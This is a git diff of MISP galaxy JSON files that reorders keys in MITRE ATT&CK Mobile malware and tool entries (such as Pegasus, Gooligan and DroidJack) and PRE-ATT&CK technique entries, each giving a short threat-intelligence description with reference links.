"description": "Android malware family analyzed by Trend Micro (Citation: TrendMicro-DressCode)\n\nAliases: DressCode",
- "value": "DressCode - MOB-S0016",
"meta": {
+ "external_id": "MOB-S0016",
"refs": [
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0016",
"http://blog.trendmicro.com/trendlabs-security-intelligence/dresscode-potential-impact-enterprises/"
],
- "external_id": "MOB-S0016",
"synonyms": [
"DressCode"
]
},
- "uuid": "ff742eeb-1f90-4f5a-8b92-9d40fffd99ca"
+ "uuid": "ff742eeb-1f90-4f5a-8b92-9d40fffd99ca",
+ "value": "DressCode - MOB-S0016"
},
{
"description": "Adups, software pre-installed onto Android devices including those made by BLU Products, reportedly transmitted sensitive data to a Chinese server. The capability was reportedly designed \"to help a Chinese phone manufacturer monitor user behavior\" and \"was not intended for American phones\". (Citation: NYTimes-BackDoor) (Citation: BankInfoSecurity-BackDoor).\n\nAliases: Adups",
- "value": "Adups - MOB-S0025",
"meta": {
+ "external_id": "MOB-S0025",
"refs": [
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0025",
"https://www.nytimes.com/2016/11/16/us/politics/china-phones-software-security.html",
"http://www.bankinfosecurity.com/did-chinese-spyware-linger-in-us-phones-a-9534"
],
- "external_id": "MOB-S0025",
"synonyms": [
"Adups"
]
},
- "uuid": "f6ac21b6-2592-400c-8472-10d0e2f1bfaf"
+ "uuid": "f6ac21b6-2592-400c-8472-10d0e2f1bfaf",
+ "value": "Adups - MOB-S0025"
},
{
"description": "Discovered by Lookout (Citation: Lookout-Pegasus) and Citizen Lab (Citation: PegasusCitizenLab), Pegasus escalates privileges on iOS devices and uses its privileged access to collect a variety of sensitive information.\n\nAliases: Pegasus",
- "value": "Pegasus - MOB-S0005",
"meta": {
+ "external_id": "MOB-S0005",
"refs": [
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0005",
"https://info.lookout.com/rs/051-ESQ-475/images/lookout-pegasus-technical-analysis.pdf",
"https://citizenlab.org/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/"
],
- "external_id": "MOB-S0005",
"synonyms": [
"Pegasus"
]
},
- "uuid": "33d9d91d-aad9-49d5-a516-220ce101ac8a"
+ "uuid": "33d9d91d-aad9-49d5-a516-220ce101ac8a",
+ "value": "Pegasus - MOB-S0005"
},
{
"description": "RuMMS is a family of Android malware (Citation: FireEye-RuMMS).\n\nAliases: RuMMS",
- "value": "RuMMS - MOB-S0029",
"meta": {
+ "external_id": "MOB-S0029",
"refs": [
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0029",
"https://www.fireeye.com/blog/threat-research/2016/04/rumms-android-malware.html"
],
- "external_id": "MOB-S0029",
"synonyms": [
"RuMMS"
]
},
- "uuid": "936be60d-90eb-4c36-9247-4b31128432c4"
+ "uuid": "936be60d-90eb-4c36-9247-4b31128432c4",
+ "value": "RuMMS - MOB-S0029"
},
{
"description": "HummingBad is a family of Android malware that generates fraudulent advertising revenue and has the ability to obtain root access on older, vulnerable versions of Android (Citation: ArsTechnica-HummingBad).\n\nAliases: HummingBad",
- "value": "HummingBad - MOB-S0038",
"meta": {
+ "external_id": "MOB-S0038",
"refs": [
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0038",
"http://arstechnica.com/security/2016/07/virulent-auto-rooting-malware-takes-control-of-10-million-android-devices/"
],
- "external_id": "MOB-S0038",
"synonyms": [
"HummingBad"
]
},
- "uuid": "c8770c81-c29f-40d2-a140-38544206b2b4"
+ "uuid": "c8770c81-c29f-40d2-a140-38544206b2b4",
+ "value": "HummingBad - MOB-S0038"
},
{
"description": "Android malware described by Kaspersky (Citation: Kaspersky-MobileMalware).\n\nAliases: Trojan-SMS.AndroidOS.OpFake.a",
- "value": "Trojan-SMS.AndroidOS.OpFake.a - MOB-S0024",
"meta": {
+ "external_id": "MOB-S0024",
"refs": [
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0024",
"https://securelist.com/analysis/kaspersky-security-bulletin/58335/mobile-malware-evolution-2013/"
],
- "external_id": "MOB-S0024",
"synonyms": [
"Trojan-SMS.AndroidOS.OpFake.a"
]
},
- "uuid": "d89c132d-7752-4c7f-9372-954a71522985"
+ "uuid": "d89c132d-7752-4c7f-9372-954a71522985",
+ "value": "Trojan-SMS.AndroidOS.OpFake.a - MOB-S0024"
},
{
"description": "Android malware family analyzed by Lookout (Citation: Lookout-Dendroid).\n\nAliases: Dendroid",
- "value": "Dendroid - MOB-S0017",
"meta": {
+ "external_id": "MOB-S0017",
"refs": [
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0017",
"https://blog.lookout.com/blog/2014/03/06/dendroid/"
],
- "external_id": "MOB-S0017",
"synonyms": [
"Dendroid"
]
},
- "uuid": "317a2c10-d489-431e-b6b2-f0251fddc88e"
+ "uuid": "317a2c10-d489-431e-b6b2-f0251fddc88e",
+ "value": "Dendroid - MOB-S0017"
},
{
"description": "Android malware analyzed by Scandinavian security group CSIS as described in a Tripwire post (Citation: Tripwire-MazarBOT).\n\nAliases: MazarBOT",
- "value": "MazarBOT - MOB-S0019",
"meta": {
+ "external_id": "MOB-S0019",
"refs": [
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0019",
"https://www.tripwire.com/state-of-security/security-data-protection/android-malware-sms/"
],
- "external_id": "MOB-S0019",
"synonyms": [
"MazarBOT"
]
},
- "uuid": "5ddf81ea-2c06-497b-8c30-5f1ab89a40f9"
+ "uuid": "5ddf81ea-2c06-497b-8c30-5f1ab89a40f9",
+ "value": "MazarBOT - MOB-S0019"
},
{
"description": "The (Citation: Gooligan) malware family, revealed by Check Point, runs privilege escalation exploits on Android devices and then uses its escalated privileges to steal \"authentication tokens that can be used to access data from Google Play, Gmail, Google Photos, Google Docs, G Suite, Google Drive, and more.\" (Citation: Gooligan)\n\nGoogle (Citation: Ludwig-GhostPush) and LookoutLookout- (Citation: Gooligan) describe (Citation: Gooligan) as part of the Ghost Push Android malware family.\n\nAliases: (Citation: Gooligan)",
- "value": "Gooligan - MOB-S0006",
"meta": {
+ "external_id": "MOB-S0006",
"refs": [
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0006",
"http://blog.checkpoint.com/2016/11/30/1-million-google-accounts-breached-gooligan/",
"https://plus.google.com/+AdrianLudwig/posts/GXzJ8vaAFsi"
],
- "external_id": "MOB-S0006",
"synonyms": [
"Gooligan"
]
},
- "uuid": "20d56cd6-8dff-4871-9889-d32d254816de"
+ "uuid": "20d56cd6-8dff-4871-9889-d32d254816de",
+ "value": "Gooligan - MOB-S0006"
},
{
"description": "OldBoot is a family of Android malware described in a report from The Hacker News (Citation: HackerNews-OldBoot).\n\nAliases: OldBoot",
- "value": "OldBoot - MOB-S0001",
"meta": {
+ "external_id": "MOB-S0001",
"refs": [
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0001",
"http://thehackernews.com/2014/01/first-widely-distributed-android.html"
],
- "external_id": "MOB-S0001",
"synonyms": [
"OldBoot"
]
},
- "uuid": "2074b2ad-612e-4758-adce-7901c1b49bbc"
+ "uuid": "2074b2ad-612e-4758-adce-7901c1b49bbc",
+ "value": "OldBoot - MOB-S0001"
},
{
"description": "WireLurker is a family of macOS malware that targets iOS devices connected over USB (Citation: PaloAlto-WireLurker).\n\nAliases: WireLurker",
- "value": "WireLurker - MOB-S0028",
"meta": {
+ "external_id": "MOB-S0028",
"refs": [
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0028"
],
- "external_id": "MOB-S0028",
"synonyms": [
"WireLurker"
]
},
- "uuid": "326eaf7b-5784-4f08-8fc2-61fd5d5bc5fb"
+ "uuid": "326eaf7b-5784-4f08-8fc2-61fd5d5bc5fb",
+ "value": "WireLurker - MOB-S0028"
},
{
"description": "Android remote access trojan (RAT) that has been observed to pose as legitimate applications including the Super Mario Run (Citation: Zscaler-SuperMarioRun) and Pokemon GO games (Citation: Proofpoint-Droidjack).\n\nAliases: DroidJack RAT",
- "value": "DroidJack RAT - MOB-S0036",
"meta": {
+ "external_id": "MOB-S0036",
"refs": [
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0036",
"https://www.zscaler.com/blogs/research/super-mario-run-malware-2-–-droidjack-rat",
"https://www.proofpoint.com/us/threat-insight/post/droidjack-uses-side-load-backdoored-pokemon-go-android-app"
],
- "external_id": "MOB-S0036",
"synonyms": [
"DroidJack RAT"
]
},
- "uuid": "05c4f87c-be8f-46ea-8d9a-2a0aad8f52c1"
+ "uuid": "05c4f87c-be8f-46ea-8d9a-2a0aad8f52c1",
+ "value": "DroidJack RAT - MOB-S0036"
},
{
"description": "The HummingWhale Android malware family \"includes new virtual machine techniques that allow the malware to perform ad fraud better than ever\". (Citation: ArsTechnica-HummingWhale)\n\nAliases: HummingWhale",
- "value": "HummingWhale - MOB-S0037",
"meta": {
+ "external_id": "MOB-S0037",
"refs": [
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0037",
"http://arstechnica.com/security/2017/01/virulent-android-malware-returns-gets-2-million-downloads-on-google-play/"
],
- "external_id": "MOB-S0037",
"synonyms": [
"HummingWhale"
]
},
- "uuid": "6447e3a1-ef4d-44b1-99d5-6b1c4888674f"
+ "uuid": "6447e3a1-ef4d-44b1-99d5-6b1c4888674f",
+ "value": "HummingWhale - MOB-S0037"
},
{
"description": "ANDROIDOS_ANSERVER.A is Android malware novel for using encrypted content within a blog site for command and control (Citation: TrendMicro-Anserver).\n\nAliases: ANDROIDOS_ANSERVER.A",
- "value": "ANDROIDOS_ANSERVER.A - MOB-S0026",
"meta": {
+ "external_id": "MOB-S0026",
"refs": [
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0026",
"http://blog.trendmicro.com/trendlabs-security-intelligence/android-malware-uses-blog-posts-as-cc/"
],
- "external_id": "MOB-S0026",
"synonyms": [
"ANDROIDOS_ANSERVER.A"
]
},
- "uuid": "4bf6ba32-4165-42c1-b911-9c36165891c8"
+ "uuid": "4bf6ba32-4165-42c1-b911-9c36165891c8",
+ "value": "ANDROIDOS_ANSERVER.A - MOB-S0026"
},
{
"description": "Android malware described by Kaspersky (Citation: Kaspersky-MobileMalware).\n\nAliases: Trojan-SMS.AndroidOS.FakeInst.a",
- "value": "Trojan-SMS.AndroidOS.FakeInst.a - MOB-S0022",
"meta": {
+ "external_id": "MOB-S0022",
"refs": [
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0022",
"https://securelist.com/analysis/kaspersky-security-bulletin/58335/mobile-malware-evolution-2013/"
],
- "external_id": "MOB-S0022",
"synonyms": [
"Trojan-SMS.AndroidOS.FakeInst.a"
]
},
- "uuid": "28e39395-91e7-4f02-b694-5e079c964da9"
+ "uuid": "28e39395-91e7-4f02-b694-5e079c964da9",
+ "value": "Trojan-SMS.AndroidOS.FakeInst.a - MOB-S0022"
},
{
"description": "Android malware family analyzed by Lookout (Citation: Lookout-NotCompatible)\n\nAliases: NotCompatible",
- "value": "NotCompatible - MOB-S0015",
"meta": {
+ "external_id": "MOB-S0015",
"refs": [
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0015",
"https://blog.lookout.com/blog/2014/11/19/notcompatible/"
],
- "external_id": "MOB-S0015",
"synonyms": [
"NotCompatible"
]
},
- "uuid": "23040c15-e7d8-47b5-8c16-8fd3e0e297fe"
+ "uuid": "23040c15-e7d8-47b5-8c16-8fd3e0e297fe",
+ "value": "NotCompatible - MOB-S0015"
},
{
"description": "The X-Agent Android malware was placed in a repackaged version of a Ukrainian artillery targeting application. The malware reportedly retrieved general location data for where it was used and hence the potential location of Ukrainian artillery (Citation: CrowdStrike-Android).\n\nAliases: X-Agent",
- "value": "X-Agent - MOB-S0030",
"meta": {
+ "external_id": "MOB-S0030",
"refs": [
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0030",
"https://www.crowdstrike.com/wp-content/brochures/FancyBearTracksUkrainianArtillery.pdf"
],
- "external_id": "MOB-S0030",
"synonyms": [
"X-Agent"
]
},
- "uuid": "56660521-6db4-4e5a-a927-464f22954b7c"
+ "uuid": "56660521-6db4-4e5a-a927-464f22954b7c",
+ "value": "X-Agent - MOB-S0030"
},
{
"description": "Twitoor is a family of Android malware described by ESET (Citation: ESET-Twitoor).\n\nAliases: Twitoor",
- "value": "Twitoor - MOB-S0018",
"meta": {
+ "external_id": "MOB-S0018",
"refs": [
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0018",
"http://www.welivesecurity.com/2016/08/24/first-twitter-controlled-android-botnet-discovered/"
],
- "external_id": "MOB-S0018",
"synonyms": [
"Twitoor"
]
},
- "uuid": "41e3fd01-7b83-471f-835d-d2b1dc9a770c"
+ "uuid": "41e3fd01-7b83-471f-835d-d2b1dc9a770c",
+ "value": "Twitoor - MOB-S0018"
},
{
"description": "OBAD is a family of Android malware (Citation: TrendMicro-Obad).\n\nAliases: OBAD",
- "value": "OBAD - MOB-S0002",
"meta": {
+ "external_id": "MOB-S0002",
"refs": [
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0002",
"http://blog.trendmicro.com/trendlabs-security-intelligence/cybercriminals-improve-android-malware-stealth-routines-with-obad/"
],
- "external_id": "MOB-S0002",
"synonyms": [
"OBAD"
]
},
- "uuid": "ca4f63b9-a358-4214-bb26-8c912318cfde"
+ "uuid": "ca4f63b9-a358-4214-bb26-8c912318cfde",
+ "value": "OBAD - MOB-S0002"
},
{
"description": "As reported by Kaspersky (Citation: Kaspersky-WUC), a spear phishing message was sent to activist groups containing a malicious Android application as an attachment.\n\nAliases: Android/Chuli.A",
- "value": "Android/Chuli.A - MOB-S0020",
"meta": {
+ "external_id": "MOB-S0020",
"refs": [
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0020",
"https://securelist.com/blog/incidents/35552/android-trojan-found-in-targeted-attack-58/"
],
- "external_id": "MOB-S0020",
"synonyms": [
"Android/Chuli.A"
]
},
- "uuid": "d05f7357-4cbe-47ea-bf83-b8604226d533"
+ "uuid": "d05f7357-4cbe-47ea-bf83-b8604226d533",
+ "value": "Android/Chuli.A - MOB-S0020"
},
{
"description": "According to Lookout (Citation: Lookout-EnterpriseApps), the PJApps Android malware family \"may collect and leak the victim’s phone number, mobile device unique identifier (IMEI), and location. In order to make money, it may send messages to premium SMS numbers. PJApps also has the ability to download further applications to the device.\"\n\nAliases: PJApps",
- "value": "PJApps - MOB-S0007",
"meta": {
+ "external_id": "MOB-S0007",
"refs": [
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0007",
"https://blog.lookout.com/blog/2016/05/25/spoofed-apps/"
],
- "external_id": "MOB-S0007",
"synonyms": [
"PJApps"
]
},
- "uuid": "c709da93-20c3-4d17-ab68-48cba76b2137"
+ "uuid": "c709da93-20c3-4d17-ab68-48cba76b2137",
+ "value": "PJApps - MOB-S0007"
},
{
"description": "Android malware analyzed by FireEye (Citation: FireEye-AndroidOverlay).\nAccording to their analysis, \"three campaigns in Europe used view overlay techniques...to present nearly identical credential input UIs as seen in benign apps, subsequently tricking unwary users into providing their banking credentials.\"\n\nAliases: AndroidOverlayMalware",
- "value": "AndroidOverlayMalware - MOB-S0012",
"meta": {
+ "external_id": "MOB-S0012",
"refs": [
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0012",
"https://www.fireeye.com/blog/threat-research/2016/06/latest-android-overlay-malware-spreading-in-europe.html"
],
- "external_id": "MOB-S0012",
"synonyms": [
"AndroidOverlayMalware"
]
},
- "uuid": "b6d3657a-2d6a-400f-8b7e-4d60391aa1f7"
+ "uuid": "b6d3657a-2d6a-400f-8b7e-4d60391aa1f7",
+ "value": "AndroidOverlayMalware - MOB-S0012"
},
{
"description": "As described by Palo Alto Networks (Citation: ZergHelper), the (Citation: ZergHelper) app uses techniques to evade Apple's App Store review process for itself and uses techniques to install additional applications that are not in Apple's App Store.\n\nAliases: (Citation: ZergHelper)",
- "value": "ZergHelper - MOB-S0003",
"meta": {
+ "external_id": "MOB-S0003",
"refs": [
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0003",
"http://researchcenter.paloaltonetworks.com/2016/02/pirated-ios-app-stores-client-successfully-evaded-apple-ios-code-review/"
],
- "external_id": "MOB-S0003",
"synonyms": [
"ZergHelper"
]
},
- "uuid": "3c3b55a6-c3e9-4043-8aae-283fe96220c0"
+ "uuid": "3c3b55a6-c3e9-4043-8aae-283fe96220c0",
+ "value": "ZergHelper - MOB-S0003"
},
{
"description": "SpyNote RAT (Citation: Zscaler-SpyNote) (Remote Access Trojan) is a family of malicious Android apps. The \"SpyNote RAT builder\" tool can be used to develop malicious apps with the SpyNote RAT functionality.\n\nAliases: SpyNote RAT",
- "value": "SpyNote RAT - MOB-S0021",
"meta": {
+ "external_id": "MOB-S0021",
"refs": [
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0021",
"https://www.zscaler.com/blogs/research/spynote-rat-posing-netflix-app"
],
- "external_id": "MOB-S0021",
"synonyms": [
"SpyNote RAT"
]
},
- "uuid": "20dbaf05-59b8-4dc6-8777-0b17f4553a23"
+ "uuid": "20dbaf05-59b8-4dc6-8777-0b17f4553a23",
+ "value": "SpyNote RAT - MOB-S0021"
},
{
"description": " (Citation: RCSAndroid) (Citation: RCSAndroid) is Android malware allegedly distributed by Hacking Team.\n\nAliases: (Citation: RCSAndroid)",
- "value": "RCSAndroid - MOB-S0011",
"meta": {
+ "external_id": "MOB-S0011",
"refs": [
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0011",
"https://github.com/hackedteam/core-android/tree/master/RCSAndroid"
],
- "external_id": "MOB-S0011",
"synonyms": [
"RCSAndroid"
]
},
- "uuid": "363bc05d-13cb-4e98-a5b7-e250f2bbdc2b"
+ "uuid": "363bc05d-13cb-4e98-a5b7-e250f2bbdc2b",
+ "value": "RCSAndroid - MOB-S0011"
},
{
"description": "The Charger Android malware steals \"steals contacts and SMS messages from the user's device\". It also \"asks for admin permissions\" and \"[i]f granted, the ransomware locks the device and displays a message demanding payment\". (Citation: CheckPoint-Charger)\n\nAliases: Charger",
- "value": "Charger - MOB-S0039",
"meta": {
+ "external_id": "MOB-S0039",
"refs": [
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0039",
"http://blog.checkpoint.com/2017/01/24/charger-malware/"
],
- "external_id": "MOB-S0039",
"synonyms": [
"Charger"
]
},
- "uuid": "d1c600f8-0fb6-4367-921b-85b71947d950"
+ "uuid": "d1c600f8-0fb6-4367-921b-85b71947d950",
+ "value": "Charger - MOB-S0039"
},
{
"description": "iOS malware that \"is different from previous seen iOS malware in that it attacks both jailbroken and non-jailbroken iOS devices\" and \"abuses private APIs in the iOS system to implement malicious functionalities\" (Citation: PaloAlto-YiSpecter).\n\nAliases: YiSpecter",
- "value": "YiSpecter - MOB-S0027",
"meta": {
+ "external_id": "MOB-S0027",
"refs": [
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0027"
],
- "external_id": "MOB-S0027",
"synonyms": [
"YiSpecter"
]
},
- "uuid": "a15c9357-2be0-4836-beec-594f28b9b4a9"
+ "uuid": "a15c9357-2be0-4836-beec-594f28b9b4a9",
+ "value": "YiSpecter - MOB-S0027"
},
{
"description": "Discovered and analyzed by Lookout (Citation: Lookout-PegasusAndroid) and Google (Citation: Google-Chrysaor), Pegasus for Android (also known as Chrysaor) is spyware that was used in targeted attacks. Pegasus for Android does not use zero day vulnerabilities. It attempts to escalate privileges using well-known vulnerabilities, and even if the attempts fail, it still performs some subset of spyware functions that do not require escalated privileges.\n\nAliases: Pegasus for Android, Chrysaor",
- "value": "Pegasus for Android - MOB-S0032",
"meta": {
+ "external_id": "MOB-S0032",
"refs": [
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0032",
"https://blog.lookout.com/blog/2017/04/03/pegasus-android/",
"https://android-developers.googleblog.com/2017/04/an-investigation-of-chrysaor-malware-on.html"
],
- "external_id": "MOB-S0032",
"synonyms": [
"Pegasus for Android",
"Chrysaor"
]
},
- "uuid": "93799a9d-3537-43d8-b6f4-17215de1657c"
+ "uuid": "93799a9d-3537-43d8-b6f4-17215de1657c",
+ "value": "Pegasus for Android - MOB-S0032"
},
{
"description": "iOS malware analyzed by Palo Alto Networks (Citation: (Citation: PaloAlto-XcodeGhost)1) (Citation: PaloAlto-XcodeGhost)\n\nAliases: XcodeGhost",
- "value": "XcodeGhost - MOB-S0013",
"meta": {
+ "external_id": "MOB-S0013",
"refs": [
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0013",
"http://researchcenter.paloaltonetworks.com/2015/09/novel-malware-xcodeghost-modifies-xcode-infects-apple-ios-apps-and-hits-app-store/",
"http://researchcenter.paloaltonetworks.com/2015/09/update-xcodeghost-attacker-can-phish-passwords-and-open-urls-though-infected-apps/"
],
- "external_id": "MOB-S0013",
"synonyms": [
"XcodeGhost"
]
},
- "uuid": "d9e07aea-baad-4b68-bdca-90c77647d7f9"
+ "uuid": "d9e07aea-baad-4b68-bdca-90c77647d7f9",
+ "value": "XcodeGhost - MOB-S0013"
}
- ]
+ ],
+ "version": 3
}
diff --git a/clusters/mitre-mobile-attack-relationship.json b/clusters/mitre-mobile-attack-relationship.json
index a2d64ae..db9449a 100644
--- a/clusters/mitre-mobile-attack-relationship.json
+++ b/clusters/mitre-mobile-attack-relationship.json
@@ -1,13 +1,12 @@
{
- "name": "Mobile Attack - Relationship",
- "type": "mitre-mobile-attack-relationship",
- "description": "MITRE Relationship",
- "version": 2,
- "source": "https://github.com/mitre/cti",
- "uuid": "02f1fc42-1708-11e8-a4f2-eb70472c5901",
"authors": [
"MITRE"
],
+ "description": "MITRE Relationship",
+ "name": "Mobile Attack - Relationship",
+ "source": "https://github.com/mitre/cti",
+ "type": "mitre-mobile-attack-relationship",
+ "uuid": "02f1fc42-1708-11e8-a4f2-eb70472c5901",
"values": [
{
"meta": {
@@ -1969,5 +1968,6 @@
"uuid": "94a737af-9a72-48f6-a85e-d9d7fa93bfdd",
"value": "Application Vetting (MOB-M1005) mitigates Download New Code at Runtime (MOB-T1010)"
}
- ]
+ ],
+ "version": 2
}
diff --git a/clusters/mitre-mobile-attack-tool.json b/clusters/mitre-mobile-attack-tool.json
index af67dbd..1eb659b 100644
--- a/clusters/mitre-mobile-attack-tool.json
+++ b/clusters/mitre-mobile-attack-tool.json
@@ -1,28 +1,28 @@
{
- "name": "Mobile Attack - Tool",
- "type": "mitre-mobile-attack-tool",
- "description": "Name of ATT&CK software",
- "version": 3,
- "source": "https://github.com/mitre/cti",
- "uuid": "02cee87e-1708-11e8-8f15-8b33e4d6194b",
"authors": [
"MITRE"
],
+ "description": "Name of ATT&CK software",
+ "name": "Mobile Attack - Tool",
+ "source": "https://github.com/mitre/cti",
+ "type": "mitre-mobile-attack-tool",
+ "uuid": "02cee87e-1708-11e8-8f15-8b33e4d6194b",
"values": [
{
"description": "Xbot is a family of Android malware analyzed by Palo Alto Networks (Citation: PaloAlto-Xbot) that \"tries to steal victims' banking credentials and credit card information\", \"can also remotely lock infected Android devices, encrypt the user's files in external storage (e.g., SD card), and then ask for a U.S. $100 PayPal cash card as ransom\" and \"will steal all SMS message and contact information, intercept certain SMS messages, and parse SMS messages for mTANs (Mobile Transaction Authentication Number) from banks.\"\n\nAliases: Xbot",
- "value": "Xbot - MOB-S0014",
"meta": {
+ "external_id": "MOB-S0014",
"refs": [
"https://attack.mitre.org/mobile/index.php/Software/MOB-S0014",
"http://researchcenter.paloaltonetworks.com/2016/02/new-android-trojan-xbot-phishes-credit-cards-and-bank-accounts-encrypts-devices-for-ransom/"
],
- "external_id": "MOB-S0014",
"synonyms": [
"Xbot"
]
},
- "uuid": "da21929e-40c0-443d-bdf4-6b60d15448b4"
+ "uuid": "da21929e-40c0-443d-bdf4-6b60d15448b4",
+ "value": "Xbot - MOB-S0014"
}
- ]
+ ],
+ "version": 3
}
diff --git a/clusters/mitre-pre-attack-attack-pattern.json b/clusters/mitre-pre-attack-attack-pattern.json
index 975ef6b..20ebdb2 100644
--- a/clusters/mitre-pre-attack-attack-pattern.json
+++ b/clusters/mitre-pre-attack-attack-pattern.json
@@ -1,2449 +1,2449 @@
{
- "name": "Pre Attack - Attack Pattern",
- "type": "mitre-pre-attack-attack-pattern",
- "description": "ATT&CK tactic",
- "version": 3,
- "source": "https://github.com/mitre/cti",
- "uuid": "03c13bec-1708-11e8-92a0-a747c0787089",
"authors": [
"MITRE"
],
+ "description": "ATT&CK tactic",
+ "name": "Pre Attack - Attack Pattern",
+ "source": "https://github.com/mitre/cti",
+ "type": "mitre-pre-attack-attack-pattern",
+ "uuid": "03c13bec-1708-11e8-92a0-a747c0787089",
"values": [
{
"description": "Many mobile devices are configured to only allow applications to be installed from the mainstream vendor app stores (e.g., Apple App Store and Google Play Store). An adversary can submit multiple code samples to these stores deliberately designed to probe the stores' security analysis capabilities, with the goal of determining effective techniques to place malicious applications in the stores that could then be delivered to targeted devices. (Citation: Android Bouncer) (Citation: Adventures in BouncerLand) (Citation: Jekyll on iOS) (Citation: Fruit vs Zombies)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: The app store operators (e.g., Apple and Google) may detect the attempts, but it would not be observable to those being attacked.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: An adversary can submit code remotely using throwaway accounts, although a registration fee may need to be paid for each new account (e.g., $99 for Apple and $25 for Google Play Store).",
- "value": "Test ability to evade automated mobile application security analysis performed by app stores - PRE-T1170",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1170"
- ],
"external_id": "PRE-T1170",
"kill_chain": [
"mitre-pre-attack:pre-attack:test-capabilities"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1170"
]
},
- "uuid": "c9e85b80-39e8-42df-b275-86a2afcea9e8"
+ "uuid": "c9e85b80-39e8-42df-b275-86a2afcea9e8",
+ "value": "Test ability to evade automated mobile application security analysis performed by app stores - PRE-T1170"
},
{
"description": "Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: FireEyeAPT17)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender will generally not have visibility into their infrastructure.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Building and testing infrastructure and obfuscating it to protect it against intrusions are a standard part of the adversary process in preparing to conduct an operation against a target.",
- "value": "Obfuscate infrastructure - PRE-T1108",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1108"
- ],
"external_id": "PRE-T1108",
"kill_chain": [
"mitre-pre-attack:pre-attack:establish-&-maintain-infrastructure"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1108"
]
},
- "uuid": "72c8d526-1247-42d4-919c-6d7a31ca8f39"
+ "uuid": "72c8d526-1247-42d4-919c-6d7a31ca8f39",
+ "value": "Obfuscate infrastructure - PRE-T1108"
},
{
"description": "Backup infrastructure allows an adversary to recover from environmental and system failures. It also facilitates recovery or movement to other infrastructure if the primary infrastructure is discovered or otherwise is no longer viable. (Citation: LUCKYCAT2012)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Infrastructure is (typically) outside of control/visibility of defender and as such as tools are staged for specific campaigns, it will not be obvious to those being attacked.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: The adversary has control of the infrastructure and will likely be able to add/remove tools to infrastructure, whether acquired via hacking or standard computer acquisition (e.g., [https://aws.amazon.com AWS], commercial storage solutions).",
- "value": "Create backup infrastructure - PRE-T1116",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1116"
- ],
"external_id": "PRE-T1116",
"kill_chain": [
"mitre-pre-attack:pre-attack:establish-&-maintain-infrastructure"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1116"
]
},
- "uuid": "a425598d-7c19-40f7-9aa3-ac20f0d5c2b2"
+ "uuid": "a425598d-7c19-40f7-9aa3-ac20f0d5c2b2",
+ "value": "Create backup infrastructure - PRE-T1116"
},
{
"description": "An adversary may assess a target's operational security (OPSEC) practices in order to identify targeting options. A target may share different information in different settings or be more of less cautious in different environments. (Citation: Scasny2015) (Citation: EverstineAirStrikes)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender does not have access to information stored outside of defenders scope or visibility (e.g., log data for Facebook is not easily accessible). Defender has very infrequent visibility into an adversary's more detailed TTPs for developing people targets.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Information is out in the open for items that are available - part of this is ease of use for consumers to support the expected networking use case. OSINT can provide many avenues to gather intel which contain weaknesses. Developing and refining the methodology to exploit weak human targets has been done for years (e.g., spies).",
- "value": "Assess targeting options - PRE-T1073",
"meta": {
- "refs": [
- "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1073"
- ],
"external_id": "PRE-T1073",
"kill_chain": [
"mitre-pre-attack:pre-attack:people-weakness-identification"
+ ],
+ "refs": [
+ "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1073"
]
},
- "uuid": "d69c3e06-8311-4093-8e3e-0a8e06b15d92"
+ "uuid": "d69c3e06-8311-4093-8e3e-0a8e06b15d92",
+ "value": "Assess targeting options - PRE-T1073"
},
{
"description": "Analysts may receive intelligence requirements from leadership and begin research process to satisfy a requirement. Part of this process may include delineating between needs and wants and thinking through all the possible aspects associating with satisfying a requirement. (Citation: FBIIntelligencePrimer)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.",
